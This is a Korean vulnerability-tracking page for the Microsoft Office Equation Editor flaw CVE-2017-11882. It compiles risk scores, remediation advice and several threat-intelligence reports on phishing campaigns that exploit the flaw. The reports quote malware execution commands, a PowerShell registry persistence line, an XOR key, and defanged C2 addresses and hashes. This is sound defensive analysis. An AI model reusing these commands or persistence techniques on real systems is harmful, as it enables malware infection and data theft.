CVE-2017-11882
위험도 높음 실제 악용 (KEV) 랜섬웨어 악용 공격 코드 공개 ASEC 언급 33건
- 우선순위 이 사이트의 참고 점수
- 18.30
- 위험도 CVSS 3.1 · 0~10점
- 7.8
- 악용 가능성 EPSS · 30일 안에 공격에 쓰일 확률
- 99.9%
- 공개일 NVD
- 2017-11-15
설명 NVD 원문
Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, 및 Microsoft Office 2016은 메모리 내 객체를 올바르게 처리하지 못하여 공격자가 현재 사용자의 권한 컨텍스트에서 임의의 코드를 실행할 수 있게 한다. 이는 "Microsoft Office Memory Corruption Vulnerability"로도 불린다. 이 CVE ID는 CVE-2017-11884와 별개이다.
Claude 로 기계 번역한 글입니다. 정확한 내용은 영어 원문을 확인하세요.
영어 원문
Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016 allow an attacker to run arbitrary code in the context of the current user by failing to properly handle objects in memory, aka "Microsoft Office Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11884.
위험도 세부 항목 CVSS 3.1
- 공격 경로
- 로컬(장비 안) AV:L
- 공격 난이도
- 낮음(쉬움) AC:L
- 필요한 권한
- 없음(로그인 불필요) PR:N
- 사용자 행동 필요
- 필요(클릭 등) UI:R
- 영향 범위
- 그 제품 안 S:U
- 정보 유출(기밀성)
- 높음 C:H
- 데이터 변조(무결성)
- 높음 I:H
- 서비스 중단(가용성)
- 높음 A:H
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
조치 방법 0행
수집된 조치 정보가 없습니다. 조치가 필요 없다는 뜻은 아닙니다.
CISA 조치 권고 KEV
제조사 안내에 따라 업데이트를 적용하세요.
영어 원문
Apply updates per vendor instructions.
미국 연방기관 조치 기한: 2022-05-03
살펴볼 장비 초안
공격 대상: PC 프로그램. '이 장비에서 살펴볼 취약점' 이라는 분류이며, 장비가 탐지한다는 확인이 아닙니다.
| 장비 보기 | 정도 | 분류 이유 |
|---|---|---|
| 사용자 PC (EDR·메일) | 주 | 사용자 행동이 필요한 메모리 결함 (문서·웹페이지 열기 등) |
단계별 판정 예시 환경
시나리오 미작성 — 이 CVE 는 단계별 판정을 하지 않았습니다. 안전하다는 뜻이 아닙니다.
출처별 내용 34건
CISA KEV Microsoft Office Memory Corruption Vulnerability 2021-11-03
Apply updates per vendor instructions.
ASEC 발주서 확인 요청으로 위장한 피싱 메일 주의 (Xloader) 2026-11-13
최근 AhnLab SEcurity intelligence Center(ASEC) 에서는 발주서 확인 요청으로 위장한 피싱 메일 유포 사례를 확인했다. 이메일 본문에는 발주서 확인을 위해 발주서로 위장한 악성 DOCX 파일을 확인하도록 유도한다. [그림 1] 피싱 이메일 본문 사용자가 첨부된 DOCX 파일을 다운로드하여 실행하면, [그림 2]와 Word의 “다른 문서 내용 가져오기(altChunk)” 기능을 악용해 Word 파일 내부에 악성 RTF 문서가 실행된다. [그림 2] altChunk에 포함된 악성 RTF 문서 경로 [그림 3] Word 파일 내부에 악성 RTF 문서 Word가 악성 RTF 문서를 처리하는 과정에서 문서 내부의 OLE 객체에 포함된 악성 VBS 파일이 %TMP%\724812.vbs 경로에 생성된다. 이후 수식 편집기(Equation Editor)의 알려진 취약점인 CVE-2017-11882를 악용하는 OLE 객체가 아래 명령을 실행해 해당 VBS 파일을 실행한다. 실행 명령 CmD.exe /C cscript %tmp%\724812.vbs [그림 4] 악성 RTF 내부 OLE 객체 [그림 5] OLE 객체에 삽입된 악성 VBS 파일 실행 명령 실행된 악성 VBS 파일에는 Base64로 인코딩된 데이터가 포함되어 있으며, 해당 데이터를 그대로 %TMP%\Quisque.Dal 경로에 파일로 생성한다. 또한, 내부 존재하는 1차 PowerShell 스크립트를 실행한다. 생성된 데이터 파일은 [표 1]과 같은 구조로 구성되어 있다. [그림 6] 악성 VBS 파일 내부 데이터 [그림 7] Base64로 인코딩된 데이터 파일 시작 Offset 끝 Offset 길이 설명 0x0 0x284 0x285 로더 0x285 0x57A7C 0x577F8 Payload 0x57A7D 0x5C997 0x4F1B 2차 PowerShell 스크립트 [표 1] 데이터 파일 구조 (디코딩 시) 1차 PowerShell 스크립트는 실행 시 [표 2]와 같이 PowerShell 실행 경로와 스크립트를 각각 TORO와 Laboris 레지스트리 값에 저장한다. 이후 Run 키에 Cupidatat 값을 등록하여 사용자 로그인 시 저장된 PowerShell 스크립트가 자동으로 실행되도록 함으로써 지속성을 확보한다. [그림 8] 레지스트리 등록 레지스트리 경로 값 이름 값 데이터 HKCU\Environment TORO PowerShell.exe 경로 HKCU\SOFTWARE\AppDataLow Laboris 1차 PowerShell 스크립트 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cupidatat %TORO% -w 1 $inwindi=(Get-ItemProperty -Path ‘HKCU:\SOFTWARE\AppDataLow\’).Laboris;%TORO% ($inwindi) [표 2] 레지스트리 등록 목록 이후 1차 PowerShell 스크립트는 %TMP%\Quisque.Dal 파일을 복호화해 2차 PowerShell 스크립트를 실행한다. 2차 PowerShell 스크립트는 로더 악성코드를 실행하며, 이 과정에서 암호화된 Payload를 인자로 전달한다. 로더 악성코드는 전달받은 Payload를 XOR 연산으로 복호화한 뒤 메모리상에서 실행한다. XOR 키 0x6B506102 [그림 9] 2차 PowerShell 실행 [그림 10] 로더 악성코드 실행 [그림 11] 로더 악성코드의 XOR 복호화 루틴 최종적으로 실행되는 악성코드는 인포스틸러(Infostealer) 유형의 XLoader이다. XLoader는 감염된 시스템에서 PC 정보와 브라우저 정보 등 민감한 정보를 탈취하며, 추가 악성코드를 다운로드하는 등 다양한 악성 기능을 수행한다. C2 hxxp://www.dumbsplash[.]com/ilto/ [그림 12] Xloader 버전 정보 (8.9) 대응 가이드 1. 발신자 확인 발신자의 이메일 주소가 공식적인 도메인인지 확인한다. 2. 하이퍼 링크 및 첨부 파일 확인 메일의 본문에 첨부된 이미지 클릭을 유도한 경우, 클릭 전 연결된 URL 정보를 먼저 확인한다. 의심스러운 URL은 보통 공식 페이지가 아닌 다른 경로를 거쳐 최종적으로 정상 페이지로 리다이렉트될 수 있으므로, 이를 주의 깊게 살펴봐야 한다. 또한, 첨부 파일이 있을 경우 의심 스러운 파일 확장자(.exe, .vbs, .js 등)인지 확인한다. 3. 민감 정보 입력 주의 로그인 계정 정보와 같은 민감 데이터를 요구하는 경우, 해당 정보를 입력하기 전에 반드시 해당 페이지의 URL이 공식 페이지인지 확인한다. 공식 페이지가 아닌 경우, 의심스러운 URL일 가능성이 높으므로 주의가 필요하다. 특히, 민감 정보를 입력하기 전에 페이지의 보안 인증(HTTPS, 자물쇠 아이콘)을 확인하고, 의심스러운 경우 절대 정보를 입력하지 않도록 한다. MD5 5bd3c5f273ba5ae4c4ae745c6943a4f7 8b3542531d98a47524c0f468d0158996 e0d7a34bc9f4590bc073d08b50c854d1 URL http[:]//www[.]dumbsplash[.]com/ilto/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 2025년 8월 피싱 이메일 동향 보고서 2025-09-15
본 보고서는 2025년 8월 한 달 동안 수집 및 분석된 피싱 이메일에 대한 유포 수량, 첨부파일 위협 등에 대한 통계와 동향 및 사례 정보를 제공한다. 아래 보고서는 원문 내용에 포함된 일부 통계자료 및 사례이다. 1) 피싱 이메일 위협 통계 2025년 08월 피싱 이메일 첨부파일 중 가장 많은 위협 유형은 피싱(Phishing, 63%)으로 공격자가 HTML 등의 스크립트로 로그인 페이지, 광고성 페이지의 화면 구성, 로고, 폰트를 그대로 모방하였으며 사용자가 자신의 계정과 패스워드를 입력하도록 유도하고 공격자 C2 서버로 전송하거나, 가짜 사이트로 접속을 유도한다. 이러한 피싱 유형은 스크립트 뿐 아니라 PDF 등의 문서에 하이퍼링크를 삽입하여 공격자가 제작한 피싱 사이트로 유도하기도 한다. [그림 1] 피싱 이메일 위협 통계 이 밖에도 최근 6개월 동안 각 카테고리 별 샘플의 유포량 변화량에 대한 자료를 통해 피싱 이메일을 통해 발생하는 위협에 대한 최근 동향을 반영하였다. 또한, 피싱 이메일 내부에 존재하는 첨부파일의 확장자 별 통계 자료를 통해 피싱 이메일에 사용되는 파일 포맷에 대해 파악이 가능하다. 본 요약문에 언급되지 않은 이러한 통계자료는 ATIP 보고서 원문을 통해 확인할 수 있다. 2) 한글 이메일 유포 현황 피싱 이메일 중 한글로 구성된 사례를 분류하고, 해당 샘플에서 제목과 첨부파일의 파일명 정보를 일부 공개한다. 이를 통해 피싱 이메일 위협에서 자주 등장하는 키워드 정보를 파악할 수 있다. [그림 2] 한글로 유포된 피싱 이메일 목록 일부 3) 피싱 이메일 유포 사례 분석 첨부파일의 포맷(Script, Document, Compress)별로 대표적인 사례를 분석하였다. 이를 통해 이번 달에 실제로 있었던 피싱 이메일 공격 사례를 확인할 수 있다. 이번 달에는 Script 첨부파일 포맷의 피싱 페이지(FakePage) 뿐만 아니라 Document 첨부파일을 이용한 취약점(Exploit) 유형의 악성코드가 피싱 이메일로 유포되었다. 문서 파일을 실행하면 수식 편집기 EQNEDT32.EXE 취약점(CVE-2017-11882)을 통해 Purecrypter 악성코드가 실행된다. 또한 최근 PE 파일(.exe)이 ZIP에 압축되어 피싱 이메일로 유포되는 케이스가 증가하고 있다. C2 주소를 비롯한 분석 정보, 해당 악성코드를 유포했던 피싱 이메일의 본문 등 추가 정보는 ATIP 보고서 원문과 ATIP Notes에서 확인할 수 있다. [그림 3] Document 포맷의 첨부파일로 유포된 악성코드 [그림 4] Compress 포맷의 첨부파일로 유포된 악성코드 본 게시물에서는 2025년 8월 피싱 이메일 동향 보고서 내용 중 일부를 공개하였다. ATIP 보고서 원문에는 피싱(FakePage)과 악성코드의 최근 유포량 추이, 첨부파일 확장자 별 통계와 유포량과 실제 피싱 이메일 공격에 대한 분석 정보 등 추가 콘텐츠가 존재한다. MD5 02b1c04c215d6a9a0568a25e95e14d90 0f3abc5fbbb1bc8173070c0a2caf633f 1543821e1b0ef89239007489bebd00be 16a6a8fa735eaff4f3781c9025fc0289 1a773e1957d4ed2844041c968154bf7b
ASEC 2025년 7월 피싱 이메일 동향 보고서 2025-08-12
본 보고서는 2025년 7월 한 달 동안 수집 및 분석된 피싱 이메일에 대한 유포 수량, 첨부파일 위협 등에 대한 통계와 동향 및 사례 정보를 제공한다. 아래 보고서는 원문 내용에 포함된 일부 통계자료 및 사례이다. 1) 피싱 이메일 위협 통계 2025년 07월 피싱 이메일 첨부파일 중 가장 많은 위협 유형은 피싱(Phishing, 60%)으로 공격자가 HTML 등의 스크립트로 로그인 페이지, 광고성 페이지의 화면 구성, 로고, 폰트를 그대로 모방하였으며 사용자가 자신의 계정과 패스워드를 입력하도록 유도하고 공격자 C2 서버로 전송하거나, 가짜 사이트로 접속을 유도한다. 이러한 피싱 유형은 스크립트 뿐 아니라 PDF 등의 문서에 하이퍼링크를 삽입하여 공격자가 제작한 피싱 사이트로 유도하기도 한다. [그림 1] 피싱 이메일 위협 통계 이 밖에도 최근 6개월 동안 각 카테고리 별 샘플의 유포량 변화량에 대한 자료를 통해 피싱 이메일을 통해 발생하는 위협에 대한 최근 동향을 반영하였다. 또한, 피싱 이메일 내부에 존재하는 첨부파일의 확장자 별 통계 자료를 통해 피싱 이메일에 사용되는 파일 포맷에 대해 파악이 가능하다. 본 요약문에 언급되지 않은 이러한 통계자료는 ATIP 보고서 원문을 통해 확인할 수 있다. 2) 한글 이메일 유포 현황 피싱 이메일 중 한글로 구성된 사례를 분류하고, 해당 샘플에서 제목과 첨부파일의 파일명 정보를 일부 공개한다. 이를 통해 피싱 이메일 위협에서 자주 등장하는 키워드 정보를 파악할 수 있다. [그림 2] 한글로 유포된 피싱 이메일 목록 일부 3) 피싱 이메일 유포 사례 분석 첨부파일의 포맷(Script, Document, Compress)별로 대표적인 사례를 분석하였다. 이를 통해 이번 달에 실제로 있었던 피싱 이메일 공격 사례를 확인할 수 있다. 이번 달에는 Script 첨부파일 포맷의 피싱 페이지(FakePage) 뿐만 아니라 Document 첨부파일을 이용한 취약점(Exploit) 유형의 악성코드가 피싱 이메일로 유포되었다. 문서 파일을 실행하면 수식 편집기 EQNEDT32.EXE 취약점(CVE-2017-11882)을 통해 Lokibot 악성코드가 실행된다. 또한 최근 PE 파일(.exe)이 ZIP에 압축되어 피싱 이메일로 유포되는 케이스가 증가하고 있다. C2 주소를 비롯한 분석 정보, 해당 악성코드를 유포했던 피싱 이메일의 본문 등 추가 정보는 ATIP 보고서 원문과 ATIP Notes에서 확인할 수 있다. [그림 3] Document 포맷의 첨부파일로 유포된 악성코드 [그림 4] Compress 포맷의 첨부파일로 유포된 악성코드 본 게시물에서는 2025년 7월 피싱 이메일 동향 보고서 내용 중 일부를 공개하였다. ATIP 보고서 원문에는 피싱(FakePage)과 악성코드의 최근 유포량 추이, 첨부파일 확장자 별 통계와 유포량과 실제 피싱 이메일 공격에 대한 분석 정보 등 추가 콘텐츠가 존재한다. MD5 01f68e02af2a9314bf20a84f722cd993 05a32454a16cfefa3f5e59130dd4f1ce 10fd66045df61ec16daffaffb8fb7eb2 1df34f8ebe0921f773d2436be887ed36 1f83b3a18059ef735cc594445bd142e4
ASEC 2025년 5월 피싱 이메일 동향 보고서 2025-06-12
본 보고서는 2025년 5월 한 달 동안 수집 및 분석된 피싱 이메일에 대한 유포 수량, 첨부파일 위협 등에 대한 통계와 동향 및 사례 정보를 제공한다. 아래 보고서는 원문 내용에 포함된 일부 통계자료 및 사례이다. 1) 피싱 이메일 위협 통계 2025년 05월 피싱 이메일 첨부파일 중 가장 많은 위협 유형은 피싱(Phishing, 72%)으로 공격자가 HTML 등의 스크립트로 로그인 페이지, 광고성 페이지의 화면 구성, 로고, 폰트를 그대로 모방하였으며 사용자가 자신의 계정과 패스워드를 입력하도록 유도하고 공격자 C2 서버로 전송하거나, 가짜 사이트로 접속을 유도한다. 이러한 피싱 유형은 스크립트 뿐 아니라 PDF 등의 문서에 하이퍼링크를 삽입하여 공격자가 제작한 피싱 사이트로 유도하기도 한다. [그림 1] 피싱 이메일 위협 통계 이 밖에도 최근 6개월 동안 각 카테고리 별 샘플의 유포량 변화량에 대한 자료를 통해 피싱 이메일을 통해 발생하는 위협에 대한 최근 동향을 반영하였다. 또한, 피싱 이메일 내부에 존재하는 첨부파일의 확장자 별 통계 자료를 통해 피싱 이메일에 사용되는 파일 포맷에 대해 파악이 가능하다. 본 요약문에 언급되지 않은 이러한 통계자료는 ATIP 보고서 원문을 통해 확인할 수 있다. 2) 한글 이메일 유포 현황 피싱 이메일 중 한글로 구성된 사례를 분류하고, 해당 샘플에서 제목과 첨부파일의 파일명 정보를 일부 공개한다. 이를 통해 피싱 이메일 위협에서 자주 등장하는 키워드 정보를 파악할 수 있다. [그림 2] 한글로 유포된 피싱 이메일 목록 일부 3) 피싱 이메일 유포 사례 분석 첨부파일의 포맷(Script, Document, Compress)별로 대표적인 사례를 분석하였다. 이를 통해 이번 달에 실제로 있었던 피싱 이메일 공격 사례를 확인할 수 있다. 이번 달에는 Script 첨부파일 포맷의 피싱 페이지(FakePage) 뿐만 아니라 Document 첨부파일을 이용한 취약점(Exploit) 유형의 악성코드가 피싱 이메일로 유포되었다. 문서 파일을 실행하면 수식 편집기 EQNEDT32.EXE 취약점(CVE-2017-11882)을 통해 Lokibot 악성코드가 실행된다. 또한 최근 PE 파일(.exe)이 ZIP에 압축되어 피싱 이메일로 유포되는 케이스가 증가하고 있다. C2 주소를 비롯한 분석 정보, 해당 악성코드를 유포했던 피싱 이메일의 본문 등 추가 정보는 ATIP 보고서 원문과 ATIP Notes에서 확인할 수 있다. [그림 3] Document 포맷의 첨부파일로 유포된 악성코드 [그림 4] Compress 포맷의 첨부파일로 유포된 악성코드 본 게시물에서는 2025년 5월 피싱 이메일 동향 보고서 내용 중 일부를 공개하였다. ATIP 보고서 원문에는 피싱(FakePage)과 악성코드의 최근 유포량 추이, 첨부파일 확장자 별 통계와 유포량과 실제 피싱 이메일 공격에 대한 분석 정보 등 추가 콘텐츠가 존재한다. MD5 0e54e6be35a6225946c972cbe74b27a8 119a118372a79cfd77a033c852bd3f90 1738d827615a61618e11e32f3c7e7727 2dab94f34371ebffedd6aa3eb3d4ecd7 2e303a4645788483adfb221f9c8d37d0
ASEC 2025년 5월 피싱 이메일 동향 보고서 2025-06-12
본 보고서는 2025년 5월 한 달 동안 수집 및 분석된 피싱 이메일에 대한 유포 수량, 첨부파일 위협 등에 대한 통계와 동향 및 사례 정보를 제공한다. 아래 보고서는 원문 내용에 포함된 일부 통계자료 및 사례이다. 1) 피싱 이메일 위협 통계 2025년 05월 피싱 이메일 첨부파일 중 가장 많은 위협 유형은 피싱(Phishing, 72%)으로 공격자가 HTML 등의 스크립트로 로그인 페이지, 광고성 페이지의 화면 구성, 로고, 폰트를 그대로 모방하였으며 사용자가 자신의 계정과 패스워드를 입력하도록 유도하고 공격자 C2 서버로 전송하거나, 가짜 사이트로 접속을 유도한다. 이러한 피싱 유형은 스크립트 뿐 아니라 PDF 등의 문서에 하이퍼링크를 삽입하여 공격자가 제작한 피싱 사이트로 유도하기도 한다. [그림 1] 피싱 이메일 위협 통계 이 밖에도 최근 6개월 동안 각 카테고리 별 샘플의 유포량 변화량에 대한 자료를 통해 피싱 이메일을 통해 발생하는 위협에 대한 최근 동향을 반영하였다. 또한, 피싱 이메일 내부에 존재하는 첨부파일의 확장자 별 통계 자료를 통해 피싱 이메일에 사용되는 파일 포맷에 대해 파악이 가능하다. 본 요약문에 언급되지 않은 이러한 통계자료는 ATIP 보고서 원문을 통해 확인할 수 있다. 2) 한글 이메일 유포 현황 피싱 이메일 중 한글로 구성된 사례를 분류하고, 해당 샘플에서 제목과 첨부파일의 파일명 정보를 일부 공개한다. 이를 통해 피싱 이메일 위협에서 자주 등장하는 키워드 정보를 파악할 수 있다. [그림 2] 한글로 유포된 피싱 이메일 목록 일부 3) 피싱 이메일 유포 사례 분석 첨부파일의 포맷(Script, Document, Compress)별로 대표적인 사례를 분석하였다. 이를 통해 이번 달에 실제로 있었던 피싱 이메일 공격 사례를 확인할 수 있다. 이번 달에는 Script 첨부파일 포맷의 피싱 페이지(FakePage) 뿐만 아니라 Document 첨부파일을 이용한 취약점(Exploit) 유형의 악성코드가 피싱 이메일로 유포되었다. 문서 파일을 실행하면 수식 편집기 EQNEDT32.EXE 취약점(CVE-2017-11882)을 통해 Lokibot 악성코드가 실행된다. 또한 최근 PE 파일(.exe)이 ZIP에 압축되어 피싱 이메일로 유포되는 케이스가 증가하고 있다. C2 주소를 비롯한 분석 정보, 해당 악성코드를 유포했던 피싱 이메일의 본문 등 추가 정보는 ATIP 보고서 원문과 ATIP Notes에서 확인할 수 있다. [그림 3] Document 포맷의 첨부파일로 유포된 악성코드 [그림 4] Compress 포맷의 첨부파일로 유포된 악성코드 본 게시물에서는 2025년 5월 피싱 이메일 동향 보고서 내용 중 일부를 공개하였다. ATIP 보고서 원문에는 피싱(FakePage)과 악성코드의 최근 유포량 추이, 첨부파일 확장자 별 통계와 유포량과 실제 피싱 이메일 공격에 대한 분석 정보 등 추가 콘텐츠가 존재한다. MD5 0e54e6be35a6225946c972cbe74b27a8 119a118372a79cfd77a033c852bd3f90 1738d827615a61618e11e32f3c7e7727 2dab94f34371ebffedd6aa3eb3d4ecd7 2e303a4645788483adfb221f9c8d37d0
ASEC 수식 편집기 EQNEDT32.EXE 과거 취약점을 이용해 유포되는 XLoader 인포스틸러 (CVE-2017-11882) 2025-04-25
AhnLab SEcurity intelligence Center(ASEC)은 매월 “피싱 이메일 동향 보고서”라는 제목으로 피싱 이메일에 대한 정보를 AhnLab TIP에 공개하고 있다. 피싱을 위장하는 다양한 키워드/주제가 있는데, 그 중에서도 본 블로그에서는 구매 및 주문서 확인을 위한 메일로 위장하여 XLoader 인포스틸러 악성코드를 유포한 사례에 대해 다루려한다. 메일 본문에서 구매 주문서가 제대로 되어있는지 확인 후 연락 달라는 내용과 함께 첨부된 DOCX 문서 파일 실행을 유도한다. 첨부된 악성 문서 실행 과정에서 과거 수식 편집기 취약점(CVE-2017-11882)을 여전히 사용하고 있는 정황이 확인되었다. 취약하게 운영되고 있는 환경에서는 공격에 노출될 것으로 보인다. 수식 편집기 취약점 이후 최종적으로는 HorusProtector로 빌드된 XLoader 인포스틸러가 메모리상에서 동작하게 된다. HorusProtector는 다양한 악성코드를 유포하는 상용 프로텍터로서, 공격자 채팅방에서 빌더를 무료로 배포중에 있으며 라이센스 키를 공격자로부터 구매하여 인증 후 사용하는 방식이다. 빌드 시 인젝션 대상 프로세스를 지정하여 최종 실행될 악성코드를 인젝션하는 특징이 있으며 분석당시 최신 버전은 v0.4.2로 확인 된다. [그림 1] 피싱 이메일 본문 [그림 2] HorusProtector 빌더 사진 과거에는 최초 배포 파일을 VBE 단일 파일로 유포하였으나, 이번 사례에서는 최초 배포 파일은 DOCX 문서 파일로 시작하며, DOCX 문서 파일 안에 수식 편집기 취약점을 사용하는 RTF 문서가 포함되어 있다. [그림 3] DOCX 문서에 포함된 RTF문서 [그림 4] RTF에 포함된 Client.vbe와 취약점 코드 해당 DOCX 문서 파일을 실행하면 External 연결을 통해 내부 RTF 문서가 실행된다. 이 RTF 문서는 내부에 포함된 “ Client.vbe ” 파일을 임시 폴더에 생성하고, 수식 편집기 취약점을 이용해 “ cmd.exe /C cscript %tmp%\Client.vbe ” 명령어를 실행한다. 과거에는 VBE 파일 내부에 최종 악성코드가 포함되지 않고 C2에서 다운로드하여 실행되었으며, 파일 크기도 약 10KB 정도였다. 하지만, 본문 사례와 같이 현재 유포 중인 HorusProtector는 VBE 파일 내부에 최종 악성코드가 포함된 채로 유포되고 있으며, 크기는 대략 1.34MB로 확인된다. [그림 5] (좌) 디코딩된 이전 버전의 VBE 코드 일부 (우) 디코딩된 현재 버전의 VBE 코드 일부 Client.vbe가 실행되면 “ Computer\HKEY_CURRENT_USER\SOFTWARE\ ” 레지스트리 하위에 15글자 랜덤명으로 키를 생성하고, 그 하위 키에 “ donn ” 이름으로 키를 생성한다. 각 레지스트리 키에 저장되는 데이터는 아래와 같다. ※ 본문의 샘플에서는 “ gSngToQWoKopCel ” 이름의 키를 생성한다. gSngToQWoKopCel : 인젝션 대상 프로세스의 이름, BASE64 인코딩된 DLL 로더 파일, 로더를 실행시키는 파워쉘 스크립트 donn : 최종적으로 실행되는 BASE64 인코딩된 악성코드 [그림 6] (상) 실행에 관련된 레지스트리 키 값들, (하) 최종 실행되는 악성코드 데이터 마지막으로, 파워쉘 스크립트가 “RegAsm.exe”를 자식 프로세스로 생성하고, DLL 로더 파일이 최종 악성코드를 디코딩하여 실행한다. 최종 실행되는 악성코드는 인포스틸러인 XLoader로 확인되었다. HorusProtector는 2024년부터 다양한 악성코드를 유포하고 있다. 초기에는 VBE 단일 파일을 유포하였으나, 현재는 수식 편집기 취약점을 사용하는 MS Office 문서에 포함시켜 피싱 이메일을 통해 유포되고 있다. 과거 취약점을 이용한 악성코드가 아직도 유포되고 있다는 것은 여전히 취약한 환경의 사용자가 많다는 것으로 해석될 수 있을 것으로 보인다. 사용자는 취약한 수식 편집기가 제거된 오피스 제품을 사용하거나 보안 업데이트를 통해 악성코드 감염을 예방해야 하며, 출처가 불분명한 메일에 첨부된 파일을 열람할 때는 각별한 주의가 필요하다. MD5 10773549f9ba9f8be361356e6a406618 242ec1c492acc3189806457e0cd09ef1 30671e17c3b3a2af1e086947cd6fb639 33610798ab021043d920f3fe6196bb91 44523287aaa954cf2ace3817e4d69079 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC APT그룹 추적 보고서 – Larva-24005 2025-04-14
1) 소개 안랩 ASEC(AhnLab SEcurity intelligence Center)은 침해 사고 조사 과정에서 Kimsuky 그룹과 연관된 새로운 오퍼레이션을 발견하고 Larva-24005로 명명했다. [1] 이들은 RDP 취약점으로 최초 침투 후 MySpy 악성코드로 시스템 설정을 변경하고, RDPWrap을 설치해 지속적인 원격 접근 환경을 만들었다. 또, 사용자의 키보드 입력을 저장하는 키로거를 감염시켰다. 포렌식 분석을 통해 확인된 위협 정보는 ATIP을 통해 ‘Kimsuky 공격 그룹의 BlueKeep 취약점을 이용한 국내 시스템 침투 및 정보 유출 사례’ [2] 와 ‘국내 서버를 상위 C2로 활용한 Larva-24005 공격 그룹의 공격 인프라 구축 사례’ [3] 로 공개됐다. 2) 공격 대상 및 사례 이들은 2023년 10월부터 한국의 소프트웨어, 에너지, 금융 분야를 공격했으며, 한국, 일본 등에 피싱 메일을 보냈다. 공격에 사용된 인프라 분석을 통해 이들은 2023년 9월부터 한국, 미국, 중국, 일본, 독일, 싱가포르를 중심으로 남아프리카공화국, 네덜란드, 멕시코, 베트남, 벨기에, 영국, 캐나다, 태국, 폴란드 등의 국가를 공격한 사실도 확인되었다. 3) 공격 방법 일부 시스템에서는 RDP 취약점 (BlueKeep, CVE-2019-0708)을 통해 초기 침투가 확인되었다. 침해된 시스템에서 RDP 취약점 스캐너가 발견되었지만, 실제 공격에 활용된 이력은 확인되지 않았다. 유사한 악성코드의 이메일 첨부 파일, MS 오피스 수식 편집기 취약점(CVE-2017-11882)를 악용한 배포 [1] 도 확인되어 다양한 방법으로 유포되었을 가능성이 높다. 침투 후 드롭퍼가 MySpy 악성코드와 RDPWrap를 설치하고, RDP 접근이 가능하도록 시스템 설정을 변경했다. 최종 단계에서 KimaLogger나 RandomQuery 키로거를 감염시켜 사용자가 입력하는 키 내용을 수집한다. 공격에 이용된 일부 시스템에서 한국, 일본 등을 대상으로 한 피싱 메일 발송 이력이 확인되었다. Larva-24005의 다이아몬드 모델은 다음과 같다. 항목 설명 Adversary Larva-24005 Vulnerability BlueKeep (CVE-2019-0708) Techniques 스피어피싱 이메일, RDP 접근 Victim 한국 소프트웨어 업체, 에너지, 금융 Malware and Tools RDP Wrap, MySpy Infrastructure r-e.kr, kro.kr 도메인 이용 표 1. 다이아몬드 모델 주요 악성코드와 도구 이 위협 그룹에서 사용한 주요 악성코드는 다음과 같다. 단계는 실제 운영 단계가 아닌 이론적 개념을 기반으로 분류되어 실제 공격과 다소 차이가 있을 수 있다. 이름 내용 RDPScanner A 형 CLI (Command-Line Interface) RDP 취약점 스캐너 RDPScanner B 형 GUI (Graphic User Interface) RDP 취약점 스캐너 Downloader 다운로더 Dropper 드롭퍼. RDPWrap 및 MySpy 악성코드 생성 RDPWrap 원격 제어 MySpy 시스템 정보 수집 추정 RDPEnabler 시스템 내 RDP 관련 설정 변경 RDPLoader RDPWrap 로더 KimaLogger 키로거 RandomQuery 키로거 표 2. 주요 악성코드와 도구 1) 초기 침투 초기 침투를 위한 RDP 취약점 스캐닝 도구가 다수 발견되었다. 실제 공격에 이용된 경우도 있었지만 대부분 감염된 시스템에 보관만 하고 있고 실제 사용된 흔적은 확인되지 않았다. (1) RDPScanner CLI형 RDP(CVE-2019-0708) 취약점 스캐닝 도구로 공격당한 시스템에서 발견되었지만, 이 도구를 이용해 최초 침입했는지는 확인되지 않았다. 실행을 위해서는 Atk.txt, Sea.txt 파일이 필요하지만, 확보하지 못했다. (2) RDPScanner GUI형 RDP 취약점 (CVE-2019-0708) 스캐닝 도구로 UI(User Interface) 형태이며, 텍스트 파일에서 IP 목록을 읽고 스캐닝을 수행한다. 스캔 결과는 도구 실행 경로의 RDP_result.txt 파일에 저장된다. 2019년에서 2024년까지 제작된 변형은 다음과 같다. [1] https://asec.ahnlab.com/ko/73916/ [1] https://atip.ahnlab.com/intelligence/view?id=4464854f-8bb1-443f-b93a-971cb94451f4 [2] https://atip.ahnlab.com/intelligence/view?id=cce9edd9-911b-49da-8726-b46b9d5a9cb2 [3] https://atip.ahnlab.com/intelligence/view?id=4464854f-8bb1-443f-b93a-971cb94451f4 MD5 1177fecd07e3ad608c745c81225e4544 14caab369a364f4dd5f58a7bbca34da6 184a4f3f00ca40d10790270a20019bb4 30bcac6815ba2375bef3daf22ff28698 46cd19c3dac997bfa1a90028a28b5045 URL http[:]//star7[.]kro[.]kr/login/help/show[.]php?_Dom=991 http[:]//star7[.]kro[.]kr/login/img/show[.]php?uDt=177 http[:]//www[.]sign[.]in[.]mogovernts[.]kro[.]kr/rebin/include[.]php?_sys=7 FQDN access-apollo-page[.]r-e[.]kr access-apollo-star7[.]kro[.]kr access-mogovernts[.]kro[.]kr apollo-page[.]r-e[.]kr apollo-star7[.]kro[.]kr
ASEC MS-Office 수식 편집기 취약점을 이용해 설치되는 키로거 (Kimsuky) 2024-05-29
AhnLab SEcurity intelligence Center(ASEC) 에서는 Kimsuky 공격 그룹이 최근 MS오피스에 포함된 수식 편집기 프로그램인 EQNEDT32.EXE 관련 취약점(CVE-2017-11882)을 악용해 키로거 악성코드를 유포한 내용을 확인했다. 공격자는 취약점을 사용해 mshta 프로세스로 악성 스크립트가 삽입된 페이지를 실행하는 방식으로 키로거 악성코드를 유포했다. [그림 1] 수식 편집기 프로그램(EQNEDT32.exe)로 실행되는 mshta.exe [그림 2] C2 서버 접속 시 화면(mshta.exe) mshta로 접속하는 페이지는 실제 http://xxxxxxxxxxx.xxxxxx.xxxxxxxx.com/images/png/error.php 로 “error.php” 파일명을 사용한다. 사용자는 [그림 2]처럼 “Not Found”라는 문구를 통해 접속 되지 않는 것 처럼 보이지만, 악성 스크립트는 실행된다. [그림 3] 악성 스크립트 내용(error.php) [그림 3]은 error.php의 내용이다. 주요 행위로는 파워쉘 